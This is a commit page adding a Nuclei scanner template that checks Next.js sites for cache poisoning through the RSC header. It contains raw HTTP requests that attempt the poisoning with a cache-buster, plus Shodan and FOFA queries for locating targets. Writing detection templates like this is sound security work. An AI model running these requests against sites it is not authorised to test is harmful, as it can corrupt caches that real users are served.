Merge pull request #10245 from projectdiscovery/nextjs-rsc-cache

Next.js Cache Poisoning using RSC
patch-4
Ritik Chaddha 2024-07-10 23:55:15 +05:30 committed by GitHub
commit cc94d242e6
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
id: nextjs-rsc-cache
info:
name: Next.js - Cache Poisoning
author: DhiyaneshDk
severity: high
description: |
Next.js is vulnerable to Cache Poisoning using RSC.
reference:
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
metadata:
verified: true
vendor: vercel
product: next.js
framework: node.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: nextjs,cache
variables:
rand: "{{rand_text_numeric(5)}}"
http:
- raw:
- |
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
Priority: u=1
Rsc: 1
- |
@timeout: 10s
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
Priority: u=1
Rsc: 1
- |
@timeout: 10s
GET /?cb={{rand}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_2 == 200 && contains(content_type_2, 'text/x-component')"
- "status_code_3 == 200 && contains(content_type_3, 'text/x-component')"
condition: and